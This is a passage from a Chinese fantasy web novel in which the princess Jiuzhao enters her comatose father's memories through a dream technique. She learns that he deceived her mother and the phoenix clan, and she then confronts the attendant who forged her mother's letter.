只不过那时是将她的仙识主动拉入了他的回忆。 若对父神使用,将他拉入自己的记忆,再趁着神识退出之际,悄悄附着仙识在其上,说不定可行。 更何况,魇术因一层付出代价过高的特性,而被魔族放弃使用。 除非真有人抱着同归于尽的心思,将自己和敌人的神魂同囚梦境,否则没有任何杀伤力。 九昭亲身体验过,能够证明的确无害,因此才有几分把握。 不过问题麻烦在,魔族的法术只有魔族方能施展。 就算不做储君神帝,九昭也从来没有动摇过自己是神仙的念头。 被引诱出心魔,被悄埋入魔气,都可以说成是魔族算计。 若她真正解封魔气,并利用其施展魇术,意义就不同了。 那她成了什么? 仙、魔,还是巫逐那样不仙不魔的存在? 这些九昭都不敢去想,她只知道离魔越近,离仙便越远。 到时候,别说涤荡心魂,晋升为神,就连平平安安地做神仙,只怕也不能了。 …… 扶胥那头,给出炼药的答信。 后续几日,突然失去了音讯。 她正有些担忧,前线又传来军报,说焚业海虽说元气大伤,连日来按兵不动,但是找了些身怀剧毒的部族,在两境交界处树立起了一面浓雾毒墙,并大有朝仙兵这头渗入的意图。 有几位仙兵在外出侦查时不慎中招,回归时又染及仙力受损的负伤者们。 毒雾甚为诡异,且具有传染性,不得不防。 军营中医仙数量不够,请求三清天支援,最好能派出高阶木系仙官,来研究如何解决毒雾。 此报一出,群臣的目光纷纷投向掌管南陵的南神王。 这些年,神帝将原属于凤凰族的领地划拨给南陵,南神王管辖下的神仙们,也享受着更加充沛的仙力,和各式各样的天材地宝,甚至和魔族交战,医仙的珍贵属性,每每也是被庇护在最后方的。 轮到为三清天出站,南陵的木系神仙当仁不让。 重瑶宗姬心疼母亲连日来回输神力的疲惫,主动请缨,带领属臣奔赴前线。 却被南神王当众怒斥。 “谁叫你这些年不思进取,快四万岁也不过是个金仙,你带领属臣,你有什么本事带领? “慌慌张张的,行事没个分寸,万一到时候延误了军机!” 九昭懂得南神王一片疾言厉色下的护女心切,打个哈哈圆场,转头就要继续商议领头支援的人选。 南神王又越众而出,作揖到底:“殿下,军情紧急,若从头研究毒墙,不知何时才能见效,臣有牡丹族圣物的千华牡丹幂,它有解毒御毒的功效,还能放大,一次性治疗更多伤兵,此次支援,臣当仁不让!” 通常情况下,每个部族的圣物,唯有族长和下任继承者才能使用。 南神王斥退重瑶宗姬,很显然只剩下一个选择。 一时之间,九昭陷入两难境地。 若派南神王去,她的身体存在神力损耗过度的亏空,万一碰上什么危险就不好了。 可若不派她去,留在三清天,她也不会断了给父神回输神力的坚持。 两厢权衡,似乎前者更好些。 救助伤兵,研究如何消除毒雾,只要待在军营里就能完成。 而回输神力,怕是只有力量衰竭,寿数耗尽的死路一条。 若魇术的法子能成,待到南神王归来,大约父神早已安然苏醒。 九昭无声安慰自己。 迎着群臣翘首以盼的视线,她慢慢转动着拇指上的玉戒。 而后露出一个充满信赖的笑容:“此次支援的队伍有南神王统帅,本殿甚是放心。” 155| 第155章 ◎“或许神树有灵,不忍心我一直被蒙骗下去。”◎ 南神王一走, 为神帝输入神力的人选便空了出来。 暂代署首之职,主持治疗事宜的副医令立刻求到九昭这里。 道若无神力持续压制毒性,帝座目前的状态顶多维持三日。 时间也的确容不得人犹豫不定了。 为了不使三清天上神凋零, 九昭压制着不适, 试图唤醒体内的魔气。 出乎意料的,当仙力与魔气连接的刹那—— 那股在日常情况下怎么也释放不了的神力,竟然顺着魔气凿开的封印缺口,如卸闸洪水般奔流而出。 这意外之喜叫九昭晦暗的心情稍稍明亮了些。 她按照唤醒魔气的方式, 多番运用,丹田周围似墙壁厚重的封印逐渐消解。 几个时辰下来,这个昔日始终困扰着她的难题迎刃而解。 不过, 走捷径造成的麻烦,也很快初见端倪。 那便是魔气也如消解的封印般融化在神力之中,原本肉眼可分辨的丝丝缕缕,裹缠着青蓝神光的黑意明面上已不复可见——可用仙识深入感知, 却无处不在, 逐寸侵染着九昭纯净的脉络仙躯。 魔气正在与她越发紧密地契合。 只是眼下顾不得那么多了。 因杀伤力过低, 而被魔族弃之不用的魇术并不难学。 九昭回忆着兰祁的手法动作,依样画葫芦几次, 便已融会贯通。 想起自己年少初习仙术时的反复出错, 和如今自学魔族魇术的如有神助,她一时有些沉默。 最麻烦的前置步骤做完, 接下来是实施。 按照设想, 九昭打算将神帝的一缕神识引入自己的梦境。 再分出仙识附着其上, 趁其退出回归灵台之时, 借着气息伪装, 穿过神力防线, 悄悄进入识海。 这个方法,她曾对兰祁使用过,却被早有算计的青年反将一军。 眼下再度尝试,难免有些不安。 想要叫人失去反抗的意志,心甘情愿沉沦在魇术中,梦境画面的选择非常重要。 曾经,兰祁用的就是他和神后的相处场景,九昭才会以身入梦,一再流连。 而神帝—— 九昭出生时,恰逢神后离世,没有一家三口的共同回忆。 她沉吟几度,最终挑选了父神第一次带自己进入长乐命牌内境阙的记忆,构建成魇术之梦。 …… 一切准备就绪。 她再次以独自陪伴父神的名义,挥退了侍奉在寝宫内的仙官女婢。 神帝似乎又苍老了些。 纵使副医令保证过三日内不会有太大妨碍,但许是父女连心,九昭仍然能够感觉到那无色无形的毒液正在一点一点吞噬他的血肉,将他的生机、心志乃至神魂全然蚀空。 若计划失败,还会遵循原来的决定,为父神施展迭命术吗? 九昭无声询问自己。 肯定的答案很快出现。 对于死亡,当一切都失去得差不多时,她已不再心生恐惧。 只是,未触及真相,就这么蒙在鼓里,一无所知地换出自己的命去,她总还有些不甘心。 收回发散的念头,九昭坐在神帝床边。 微凉的指腹搭在他的腕上,闭目入定。 整场梦很短。 毕竟她的目的与兰祁不同,只想尽可能地为父神降低风险。 当游丝一缕的仙识附着退出的神识,穿过神力的防御禁区,返回到神帝的灵台中去时,九昭从温情的梦境中醒转,恍然瞧见自己昏迷在床榻之上的父亲,细纹横生的眼尾处滑落一抹湿迹。 这一切发生得太快。 快到九昭来不及思考,她的视野又是一黑。 弹指过后,覆盖四周场景,于眼前缓慢亮起的,是属于神帝的浩瀚识海。 她成功了。 仿佛天道也在怜悯成全。 识海的窄阔程度,与实力成正比。 空间越是宽广,就意味着精神的力量越是庞大。 神帝的识海,远比九昭上回进入的兰祁识海还要广阔数倍。 浩如烟海的神力如星辰悬浮,由远到近,由疏到密,光亮强度均有不同。 九昭环视一圈,若要每个都查看,怕是三天三夜也看不完。 有了上次的经验,她驱使仙识朝外围象征年岁久远的记忆飞去。 贵为三清天之主,神帝的寿数趋于无尽,一生见证山河变迁,日月更迭。 许多在旁人看来足够刻骨铭心的经历,根本不会被他放在心上——唯有漫长岁月过去,依然熠熠生辉,不肯黯淡的神识,才有可能是九昭想要苦苦寻找的真相。 不知过了多久,一道难以言喻的光亮,将九昭的注意力吸引。 它处于久远记忆的边缘,却仍然闪烁着照亮小半识海的光芒。 谜底或许就是这颗神识了。 深吁一口气,九昭的双手攥紧成拳,牢牢抓住裙摆,暂时停滞的仙识也小心翼翼前进起来。 突破神识弹韧如同薄膜的表层,率先迎接九昭的,是无人开口的安静。 仅有一种蚕虫吞食桑叶的沙沙声,在耳边轻响。 她看到在兰祁梦中出现无数次的母神,活生生坐在距离自己几丈外的梳妆镜前,而模样还是青年的父神立于她身后,手持一把小巧的象牙玉梳,一下一下,动作轻柔地为她篦着黑发。 似曾相识的景象,令九昭下意识想到了自己和祝晏的过去。 为着这个近乎不祥的开端,胸腔中的心脏猛地一跳。 她没有靠近,凝视父母安详的背影,垂衣等待。 默默数完几十个数,神后终于抬起手,向后准确握住玉梳的尾端,铜镜映呈出她不施粉黛的眉眼:“阿辰,我们的女儿就快出生了,我想了很多日,还是觉得草率为她定下兰祁为今后的王夫,有些不妥。” “怎么会是草率?” 将妻子的手,连带玉梳一起裹进大掌。 面对这个过往两人探讨过无数次,对方终于听从,此刻又陡然说起的话题,神帝怀有无限耐心,“祁儿为你我精心教导,又生得温文尔雅、一表人才,便是整个三清天,算上那些上神神王的孩子,也无几人能比得上的——有神帝养子的身份,再配上这般品貌,当女儿的正夫,应当足够了。” “难道喜欢一个人,和他在一起,只看身份长相够不够得上吗? “我还是不忍心,从一开始就剥夺女儿自由选择的权利——若因为她拥有凤凰真血,就必须和另一位拥有凤凰真血的男子结合,那跟当初的我和巫劭有什么区别……只不过不是双生子罢了。” 神后的语调,带着乌云遮蔽天空的闷顿。 明显听得出来兴致不高。 神帝将握着她的手收紧了些,继续好声好气哄劝道:“你也可以将他们的结合,看作一件必须要完成的任务不是吗?只要收回凤凰真血,叫魔族失去一重兴风作浪的依仗,女儿完全可以令觅新欢,再寻真爱,她是三清天未来的神帝,一个不够,两个三个还是四个五个,立多少王夫都可以。” 这两位三清天之主的爱情,一方面引得群臣不满。 另一方面,却是多少怀春少年的榜样和向往。 闻得夫君口中对于女儿终身幸福的不以为意,神后只觉得齿冷。 她故作平静道:“我这一生只选择了你,你也只选择了我,我们也叫女儿与一人相依相守,白头到老不好吗,何必叫她饱尝夫妻分离的痛苦?更不提,养育祁儿这么多年,我早已将他视作自己的孩子。 “你就答应我这件事好不好? “反正阿、巫劭这个叛乱的根源已经被囚,日子还长,总有别的办法缔结仙魔两族的永世和平。” “袅袅,你怎么还是不懂?”神帝叹了口气,“我跟你说过,这是你我结合所必须承担的责任,时间不能逆转,所有发生过的事情也不能重来,我们既然已经在一起,就根本没得选。” “……” 拿既定的事实说话,往往能够成功终止话题。 神帝熟练地再次运用,却听见神后冷不丁问出一句: “所以女儿、兰祁,和我一样,都是必须被你利用的棋子,对吗?” 对自己情根深种的妻子,提到“棋子”这样带着一丝凌厉的词汇。 恍惚间,神帝有些愣怔。 他的手掌不自觉一松,玉梳掉落在地,与厚实锦毯相撞,发出沉闷的声响。 “袅袅,你怎么了,是不是昨夜中秋我在璇玑宫夜宴群臣,没有时间陪伴你,你不高兴了?” 他勉强维持着笑意,再度使力,意欲和神后十指紧扣。 掌心的另一只手却在收紧的间隙,一下子收了回去。 “每隔一千年的八月十五中秋,也是凤凰族最重要的涅槃节。大约凤凰族尽数追随巫劭叛天后,这个节日也被你们遗忘了。”神后从镜子里端详神帝的表情,一字一顿,慢吞吞说着,“我精神不济,也不喜欢宴会上那些臣子看向我的眼神,所以趁着你举办宴会,一个人前往凤凰族圣地祭拜。” “其实凤凰族的土地,被巫劭一把火烧毁后,有很多年我都不敢再去那里,害怕触景伤情。 “可不知为何,昨日午睡我竟然梦到了巫劭。 “他望着我,张了张口,没有和我说一个字,却领着我来到了凤凰神树前。 “我想他应该在怪我,怪我明明是离族地最近的凤凰,反倒忘记了祖祖辈辈承继的节日。 “于是,我去了。” 这段话,更像是一个随处可见的,发生在过于思念故土之人身上的平凡故事。 神帝也就相对应的,呈现出倾听的姿态,表情没有任何变化。 他自信该做的事情都已做到天衣无缝,并不畏惧与神后落在镜面的目光对视。 “那片被烧焦的土地,还是黑漆漆的。 “凤凰们举族搬徙,属于万鸟之王的领地连一只麻雀都不敢靠近。 “我对着神树下跪叩拜,虔诚祈祷着它的庇护,但也明白,已经枯萎的它不会有任何回应。 “不会如同少时那样,有赐福的光芒落在我和巫劭头顶。 “这是我们的族树,就像承载着所有凤凰灵魂和生命一部分的印记。 “它再也不会回应我了,说不失落是不可能的。 “我情不自禁伸手摸了摸它。 “然后,竟然发现一段被巫劭丢弃封印在其中的记忆。” “记忆”一词出口,神帝平静如海的眸光闪了闪。 他不动声色地问道:“什么记忆?世间之物,涅槃凤火皆可焚烧,居然有记忆能够留存下来。” “我也觉得很不可思议。” 神后不再看他,垂落眼睛,“事实上,那也只是被留下的很小一部分罢了,我探出神识感知的时候,它断断续续的,处处都是残缺,可最要紧的一点却完好存在着,或许神树有灵,不忍心我一直被蒙骗下去。” 眼神,是最直观反映人心境的明窗。 当爱侣不愿再多看自己一眼时,泰山崩于眼前不改其色的帝王,也不禁体会到一丝即将失去什么的慌张。 他本能地唤着神后的乳名:“袅袅——” 神后却陡然抬起头来,视线如一柄利剑刺入喉管,阻断他辩白的话音:“巫劭在叛天前夜,约我到凤凰圣地相见,还收到了我允诺前往的回信。可等了一夜,直至天亮,我始终没有来。 “他道‘阿姊如此绝情,我焉能不彻底割舍掉着情意’。 “可是啊,阿辰,我从头到尾,都没有收到过这封信,你能不能告诉我,这究竟是怎么一回事?” 156| 第156章 ◎“我情愿她从来不曾来到这世间。”◎ 这么多年, 两人相互依偎陪伴,颇有种为爱对抗整个世间的孤勇感。 全心全意的信赖消磨了神后身上属于女君部分的坚硬和骄烈,享受着她的柔情, 她的体贴, 她的包容和谅解,此刻触及她利剑出鞘般隐含凌厉的眼神,神帝有一瞬间的失语。 但他旋即明白,已经走到这般地步。 真相远比谎言要残酷许多。 默默调整好心情, 他坦然迎着神后的眼神,故作不解询问: “这件事,我真的不清楚。巫劭叛天那段日子, 三清天正处于多事之秋。我忙,你也很忙——袅袅,你是不是回完信后埋首于其他事,忘记了?” “你真的不清楚吗?” 对方一而再, 再而三的装傻, 令神后愈发失望。 她旋身站起, 相较神帝矮上半头的身量,迫使她仰起面孔, 自下而上不错眼地注视着他。 两人之间对镜梳头的恬静气氛被迅速打破, 神后沉声说道:“我们成婚之后,你就把女官丹曛派到我身边侍奉了。如果我没记错的话, 她的本体是你的父神——上任神帝手中的朱笔化成。 “朱笔久浸神光, 化形为仙, 有一样特殊的本领, 那就是于笔墨之道精通异常, 旁人需要花费无数精力, 方能有所成就的字形书法,她只要稍稍凝神临摹几次,便能做到有模有样,以假乱真。 “陪在我身边经年累月,若着意模仿我的字迹,我想,对于丹曛而言,大约不是什么难事。” 每说一段话,就仿佛打开一重桎梏情绪的枷锁。 讲述完自己借由巫劭的记忆,揣测得到的真相,神后忍不住拔高声调:“你明明答应过我,会竭尽全力不叫巫劭和凤凰族之事落到最坏的地步,为何、为何你反而叫丹曛来加重巫劭的怨气?!” “袅袅,你怎么会如此猜度我?你说的这些事,我根本没有做过。” 神帝的眉峰慢慢蹙起,他控制着语调的欺负,试图用镇定的态度安抚神后的心情,“这样吧,你带我去看看巫劭遗留下来的记忆,好不好?看完之后,我才能晓得怎样向你解释清楚。” “看完之后,是更好解释,还是更方便狡辩?” 神后伸手,指向紧闭的门扉,“那段记忆本就被涅槃凤火烧得七零八碎,我才见天看了个囫囵,就承受不住外界的风吹而化为灰烬了,你与其想着就巫劭的记忆向我解释,倒不如现在就出门去,唤来丹曛。 “叫我当着我的面,立下从未仿写我的笔记代为回信的血誓,我便从此以后再也不疑心!” “神仙不可随意立誓,特别是血誓,一个不好,哪怕不召来天谴,也要承受因果反噬,你不会不清楚。” 神帝语气虽克制柔和,看她却像是在看提出过分要求的孩子,“丹曛服侍在你我身边多年,又忠心耿耿,你拿不出那段记忆,又没有明确指向她的证据,就命她为莫须有的事情而立血誓,岂非寒了她的心?” 这般顾左右而言他的口吻,进一步激怒了神后。 她气极反笑:“凤凰族战败后,许多事我不是想不到,而是不敢想,嗣辰,我将你看作毕生挚爱,情愿睁一只眼闭一只眼,可你不能在利用了我之后,还一门心思打算利用我们的女儿。” 如此指责,不可谓不重。 神后收回指向殿门的手,死死抓着梳妆台带有棱角的边缘,“让我爱上你,从而离间我与巫劭,是你计划的第一步。煽动巫劭的不满,却逼迫他在准备未充足的情况下,带领凤凰族叛天,双生子无法结合,凤凰真血的全部力量便无法施展,这是你计划的第二步。而我们的女儿,我们尚未出世的女儿,和你为存放真血和巫劭元神而特意制造的傀儡仙体兰祁,便是你计划的最后一步—— “所以我每每同你提起,女儿应该按照心意来选择王夫,你都会拿我们相爱造成的后果来压我。 “女儿和兰祁成婚,有凤凰真血存在,他们必定会诞下一对双生子。 “只要将双生子控制在手,代代承继下去,凤凰真血和涅槃凤火就能彻底归于三清天所有。 “凤凰族不再有威胁仙族的利器,焚业海的实力也会被大大削弱!” 纵使不愿直面,但神帝不得不承认,成为神后,安逸千年,太婀作为女君的敏锐直觉犹存。 她仅凭几处细节线索,就把他一直以来的谋划猜得八九不离十。 女儿采用心诞的方式,孕育在他的心脏中。 兰祁那头亦无知无觉,充分信任着他们这对养父母。 太婀早就失去了所有的倚仗,哪怕她知晓真相,他也应当是不怕的。 可心脏的某处,嗣辰仍然觉得惶恐,以及透不过气。 “你骗了我,当初我们共同在学宫中修习仙术,你红着面孔说心悦我。 “你说你我独自相处时,你总能看出来,我因凤凰族规的束缚而感到痛苦,我明明只将巫劭当成弟弟。 “你说每个人都有追寻自己想要生活的权利,就算是凤凰双生子,也不该在未降世时便被决定命运。” 神后凄凉地笑了笑:“你我是三清天身份最高贵的三人,从很小的时候起,就伴在一起,阿弟年少又性情桀骜,唯有与你才能倾心相诉几句,可你,还有阿弟,两个在我心中最为重要的人,最后都背弃了我。” “背弃,何为背弃?” 再由着神后的想法深究下去,彼此的关系便将踏入万劫不复的地步。 神帝终于探手,双掌用力摁住她的肩膀,“袅袅,你不能这么想我,我是真的爱你啊——或许为了三清天的稳定,我偶尔行事不够光明磊落,但对于你,我从来都是倾尽所有,付出一切。” “我立你为神后,顶着群臣各部的重重压力,发誓毕生不再另娶女子,男子心诞远比女子生育损伤更大,我却愿意为了你损耗一半无法填补回来的神力,孕育女儿五百年。 “我若只是为了利用你,你告诉我,我何、至、于、此?” “是啊,是啊—— “若只是利用,根本不必如此尽心竭力——” 炽热的掌心落在肩膀上,相隔单薄衣料,依然传来近乎刺痛般的温度。 使力挣扎几次,仍旧逃不开神帝的禁锢。 神后缓缓抬起眼睛,不再看他,两行透明的热泪滑落眼尾,“为何爱也不得,恨也不得……天道究竟要将我逼到什么地步,你为何不能纯粹地利用我,为何要在冰冷的算计里掺入自己真正的心意……” “答应我,事实已然如此,我们都不要再回头看,你相信我,我也相信你—— “剩下的日子,我们还可以好好过下去。” 下意识停顿的五个字,被混在齿关开合间,含糊而逝。 神帝的眉宇,却闪过一丝鲜明且深切的痛苦。 他隐忍下来,双手挲过神后的肩膀向后,意欲将她拥入怀中,语调透着怪异的温柔,“待她出生,我们什么都不要同她提起,吸收完兰祁体内的凤凰真血,她便是世间最强大的存在,从此以后,恣意由心。 “她不会有任何痛苦,只会永远快乐。 “我将在她登临帝位之前,为她扫除所有障碍,让三界臣服在她的脚下……” 神帝陷入无边的幻想。 事实上,这也是他决意收回真血之力,驱逐凤凰族,荡平焚业海时,为自己构建的美好梦境。 如今他无缘实现,只想女儿能够继承他的意志,享受当凌绝顶的快意。 他沉浸在大业即成的快意画面里无法自拔,却未曾察觉怀抱中,神后的双眼不再落泪。 那闪烁着的神光从痛怨挣扎,转变为一种心如死灰的绝望:“你对我的爱,让我经历了无数同族的冷眼和指责,让我和血脉同胞的亲弟天各一方,让我在战场上不得不对族民兵戈相向,让我成为一个异类…… “一个不被理解,不被亲近,失去自我,失去全部,只能依靠你的爱而活的异类。 “阿辰。” 她轻轻唤了一句,声音低缓得像是感情最浓烈时期,缠绵温柔的两个字比风还轻: “我在战场上替你挡剑,受了贯穿心脉的重伤,寿数不多了,你也不用再费心为我续命了吧。 “我有我的罪过要赎,今日的一切苦果,皆来源于我对你的孽情深种。 “从今往后,我避居春台殿,你守着你的紫微宫。 “我们,死生不复相见。” 拆分开来,挨个都能理解的字眼,组合在一起,汇成了一句神帝听不懂的话。 他下意识放轻了拥抱的力度,茫然垂落眼睛,看向臂弯间的妻子:“袅袅,你说什么……?” “我说。” 神后顿了顿,莹白的指尖无声浮现炽烈的火焰。 在神帝来不及反应过来的间隙里,她催动神火,朝两人相贴的躯体打去—— “我们,死生不复相见!” 对于危机的本能防备促使身体比大脑先行,神帝猛地撤回双手,疾步朝后方倒退。 神火依然点燃了他的袖口。 一小片布料余烬离开衣衫,飘落在地。 神帝的眼睛愣愣跟随下移,直至神后的鞋底踩上那片灰烬,彻底让它消失在视野尽处。 他方如梦初醒。 “我们的女儿呢,已经快满五百年了,她马上就要出生了——” 他颤抖着齿关,语不成声,“你也不想见她了吗?” “若生下来,便要如我一般,困顿在谎言编织的牢笼里。” 神后缓缓阖上双眼。 “我情愿她从来不曾来到这世间。” 157| 第157章 ◎“唯有结果才是最重要的,不是吗?”◎ 门开了。 九昭面色如常踏出。 廊下无人, 唯独丹曛曲首站立,显然有事要说。 “殿下。” 从寝殿送至外庭,有一段路要行。 她落后半步, 跟随九昭, 低声询问,“为帝座回输神力的上神人选,您决定了吗?事情耽误不得。” 轻灵若蝶的绸带飘飞在脑后,九昭目不旁视, 脚步慢沉沉的:“已想好了,待一切定下后本殿会下令。” 丹曛便松了口气。 她不再多嘴询问被选中的上神是谁,自然而然地转移话题, 关心起九昭来:“殿下事父至孝,有您在,一切出不了错的——不过臣瞧着您的神色较前两日又差了不少,今日休沐, 您回去后定要多多休息。” 九昭出生失恃, 离恨天的一切皆有丹曛打理。 成人准备同兰祁结契后, 丹曛才回到神帝身边做统领仙官。 她虽无养母名义,却似九昭半个母亲。 听见她难掩关切的絮絮低语, 九昭的心不再如同旧日那般涌起温暖和依恋。 她的嘴唇在无言中轻轻抿紧, 耳边再度响起母神怀疑有人临摹笔迹,代她回复巫劭邀约的质问。 过了会儿, 悲愤的质问混合在丹曛柔和的话音里, 逐渐低了下去, 不复可闻。 九昭于离开的结界驻步, 将头转过去, 迎着丹曛关切的目光弯起唇角笑了笑:“既然送到这里了, 姑姑不如跟本殿去趟离恨天吧——寝殿里父神亲赐的金匾有些旧了,本殿想着要不送去神匠局那里重新镶嵌漆金。这款金匾还是姑姑你当初奉旨送到本殿宫里来的,如今再交给你,本殿更加放心些。” 这本是件很小的差事。 能够为九昭做些什么,丹曛也很高兴。 她不疑有他地应下。 …… 离开结界,再发动转送阵法,不出几转呼吸,眼前就换了副天地。 这还是神帝中毒昏迷后,丹曛第一次到访离恨天。 昔日热闹的门庭,掩映在葱茏幽深的草木中,来往穿梭的女婢少了许多熟面孔。 经询问,丹曛方知,九昭遣送出去了一批。 如今她大权在握,已私下将侍奉在身边的仆婢全部脱去奴籍。 三清天外忧内患,废除仙奴制度的提议一时不便再提,丹曛以为九昭已将其放下,不成想她竟一直默默记在心头,且先从身边做起,让那些被视作高位者私有物的仙奴们,重新拥有了尊严和新生。 她的所作所为,的确做到了天道法规里所要求的心怀大爱。 足以称得上为一个好神仙。 可心肠太过柔软的君主,真的能弹压众仙,管理好三清天吗? 压榨仙奴,从他们身上获取利益,是几乎各境各部都默认的传统。 若要将废除的诏令推行下去,只会得罪更多支持者。 丹曛注视着走在前面的九昭,眸光几经变幻,却是没有将自己的担忧说出口。 九昭的执拗,她是见识过的。 既然敢在大朝会上不惜触怒神帝也要提出,就绝非她这个臣下三言两语,可以劝得扭转心意。 她将视线移开,转到寝殿高悬着的金匾上。 九昭也让出了方便观察的位置,旋身回到门口将两扇大门关拢。 她转了转下巴,示意朱映带着其他人下去,留给她和丹曛单独相处的空间。 又闻听丹曛在背后几丈外说道:“劳烦殿下稍作等待,臣先取下来确认下修整的地方。” “好,你随意。” 九昭慢慢踱步回去,她透过白绸用仙识审视着丹曛专注的动作,下一瞬赤光自掌心疾射而出。 “!” 同为天仙,丹曛的感知能力自然不弱。 仙光未至,她已抬手生出防御法阵意欲抵挡。 只是不知为何,法术凝结过半,她陡然撤去,硬生生挨了一击。 沉重的金匾脱手,那插在发髻上的玉簪,亦在踉跄后撤中滑落坠地。 丹曛闷哼一声,将痛呼咽下。 “为何不躲?” 九昭的足音没有因为打中丹曛变快,仍然保持着不紧不慢的速度。 她问询的语调不见喜怒,仿佛发生在刹那间的攻击,仅是她兴致所起开的一个玩笑。 丹曛捂着胸口,跪倒在地,许久才从错愕中找回声音:“君要臣死,臣、不得不死。” 九昭又是一笑,敛袖在梳妆台前坐下。 她看也不看丹曛一眼,放心地将整个后背显露出来:“我以为在姑姑心里,唯有父神方是君。” 纵使受伤,被审问者依旧不卑不亢:“帝座交代过,殿下与他并无不同,皆需要臣付出性命追随辅佐。” 付出性命,追随辅佐? 这句从前深信不疑的话,此刻再度入耳,九昭只觉讽刺。 她的言语逐渐失去强装出来的镇静:“好,既然你如此回答,就应该明白,知无不言也是尽忠的一部分——我问你,当初巫劭起兵反叛,真的只是因为他不满母神心悦父神,背弃了凤凰族令吗? “是不是三清天和父神早就容不下功高盖主的凤凰族,才会一步一步催动他们的不满,滋养他们的野心,最后迫使他们在走投无路的情况下,不得不坠入焚业海,舍身成魔?” “这些都是谁和您说的?是兰祁吗,还是寄生在兰祁体内的巫劭元神?” 丹曛面色一变,肃然提醒,“殿下,您不应该相信魔族,他们素擅以虚无缥缈的谣言蛊惑人心。” 九昭只冷笑:“原来姑姑口中的忠诚,尽是一场笑话。” 没有试探,也没有猜测。 九昭口中一字一顿的笃定意味,令丹曛陡然意识到,定是掌握了某些真相,今日她才会如此发难。 她的表情越发难看。 任凭神仙再神通广大,也无法隔空读取他人的心声。 她不清楚九昭查明了多少,真相是只与凤凰族有关,还是连神后也…… 不敢再深想下去,丹曛顾不得捂住心口减缓痛楚,以头磕地,为神帝辩解起来:“事情并非殿下想——” 话未说完,又被九昭打断:“好啊,并非我想的那样,那就把当初你没有在母神面前做到的事情,在我面前做一遍吧。来啊,发誓吧——发誓你没有模仿母神的笔记,去伪造她回应巫劭邀约的书信!” 事情还是走向了最糟糕的预想。 不用看,丹曛也知晓自己内心的念头,已在面上清晰呈现。 她该说什么? 继续欺瞒九昭吗,还是把神帝的所作所为一五一十说出来? 算计整个凤凰族的行为,于同为凤凰的九昭,固然不齿—— 可除了那么做,又怎能确保帝位的稳固,三清天的安宁? 丹曛抬起头,试图通过镜面的映射,去捕捉九昭真实的心情。 然而白绸蔽目,她只看到无限肖似于神帝的锋利下颌轮廓:九昭是帝座养育在心脏里五百年,堪堪诞育出来的爱女——她长得和父亲那么相像,却半点也没有帝座的杀伐决断。 一股说不出是感慨还是失望的情绪,促使丹曛抿了抿嘴唇。 她明白若要避免盛怒之下的九昭处罚,自己应该顺着她说些缓和父女之间关系的好话。 言语出口,说的却是:“殿下,开头、过程,只是世人为了编撰完整的故事,才会想出来的说辞。 “实际上唯有结果才是最重要的,不是吗? “神后没有被她的弟弟和族人连累,哪怕他们叛为魔族,她依旧是三清天最尊贵的神后,所有神仙皆对她俯首称臣——况且,帝座做一些事也不全是为了自己,更是为了三清天和您。凤凰族出了巫劭这个天赋最强者,野心不断壮大,若不当机立断,将其割舍,恐怕三清天的帝座早已易主也未可知。” 丹曛的每一句话,都令九昭的心凉透一分。 她像是活在梦里,用气声重复着对方赋予母神这短暂一世的定义:“最尊贵的神后?” 而后,梦境骤醒,高声怒斥: “你告诉我,人连命都没了,那些权势、地位、一呼百应的风光,究竟有什么用?!” 158| 第158章 ◎“至少,女儿的心不想再被煎熬了。”◎ 丹曛因九昭的呵斥而无言。 辗转过后, 又言不由衷地找补道:“害神后重伤早逝,并非帝座的本意。 “那时仙兵们面对凤凰族的精锐队伍连连失利,因神后熟悉同族习性, 帝座才会向她求助……退一万步讲, 神后不仅仅是帝座的妻子,更掌握一方神职,稳固三清天,维护仙族的利益, 是她的本分。” 语未毕,她膝行两步,来到九昭面前, 用额头抵住九昭缀着明珠的鞋尖,恳切劝告:“您如今代掌三清天事务,一切都步上正轨,哪怕帝座伤愈转醒, 也会为您感到欣慰, 继而正式退位让您登基为帝—— “殿下, 成大事者不拘小节,过去的事便叫它过去吧!” 被自己视作半个养母的年长女官, 跪在地上, 苦苦哀求,九昭只觉心口燃烧着的火焰愈发煎熬。 这煎熬来源于从小到大的认知被颠覆的痛苦。 说起往事, 说起母亲的死—— 丹曛竟然没有半分内疚。 她的字字句句看似在解释, 实际上, 只为试图让九昭明白他们、认同他们。 她是神帝身边最能干、最受重用的女官。 也是一直以来神帝全部意志的执行者, 他的忠诚拥趸。 九昭想起, 那段扎根在识海, 因刻骨铭心而永不熄灭的记忆里。 自己的父神,也在处处狡辩。 用爱,用责任,用迫不得已,来抵消欺骗和利用造成的巨大伤害。 “这是你的想法吗?” 九昭情不自禁发问,“还是父神从来就是这么想的。” 她充斥在语气表情间的不可思议和厌弃,如同尖针插入丹曛隐匿希冀的瞳孔。 刺痛使得她握紧广袖遮掩下的手掌。 为何、为何生没有神后陪在身边一天,从小由自己和帝座抚养长大的孩子,性情会这般、这般肖似她的母亲,半点也不懂得他们的筹谋和良苦用心? 半炷香前,浮现在脑海的念头,随着九昭的不肯妥协进一步扩散。 丹曛磕紧牙关,抵住鞋尖的额头缓缓抬起——她发觉或许是他们总将她当成孩子,害怕陡然揭开世间的丑恶,会污染九昭不惹尘埃的心,才将她养成了现在这般天真且眼里揉不得沙子的样子。 幸好。 幸好,一切总还来得及。 想到这里,丹曛终于仰首,直视九昭的面孔:“是谁的想法很重要吗?端看每一步有您参与的结果便知,在桃林里,帝座差一点就能完成自己的计划,从此让三界回归安宁,是您,是您常常漏夜同兰祁私会,经他三言两语哄骗,又心软下来,才会令得阵法失效,没有提前重伤兰祁体内的巫劭元神! “还有祝晏,他不也是在以爱之名利用您? “北神王一声令下,她说舍弃便将您舍弃了,可若是此刻他站在您面前,您是否能狠下心肠将他杀死?” “几万年来,帝座为您收拾了多少次烂摊子,您都忘了吗? “不知究竟要因为天真而犯下多大的错误,您方能痛改前非,成为一位合格的君主! “如果您割舍不下那所谓的心善和良知,就会永远陷在无常的爱恨里。 “被命运折磨,和自己较劲!” “够了,我不想听!” 在丹曛一句比一句高声的诘问里,九昭用手捂住耳朵,意欲隔绝她的声音。 可那些关于灵魂的拷问,依旧如呼啸的海潮般四面八方涌来,无孔不入地将她吞没。 不想再和陷入疯魔的丹曛继续对话,九昭不顾可能面对的议论,命令离恨天的护卫强行将其带走。 而得知自己即将被押入不见天内狱,丹曛面上毫无惧色。 她甚至对着转过头闭口不言的九昭,欣慰笑出声来:“殿下,对,就是这样,您只需记得,身下坐着的位置最重要,哪怕是臣,抚育您长大成人,只要冒犯了您的威严,您也无需留情。 “如此,才能八方臣服,四境畏惧!” …… 丹曛被押走后,九昭倔强挺直的肩膀颓然弯曲下来。 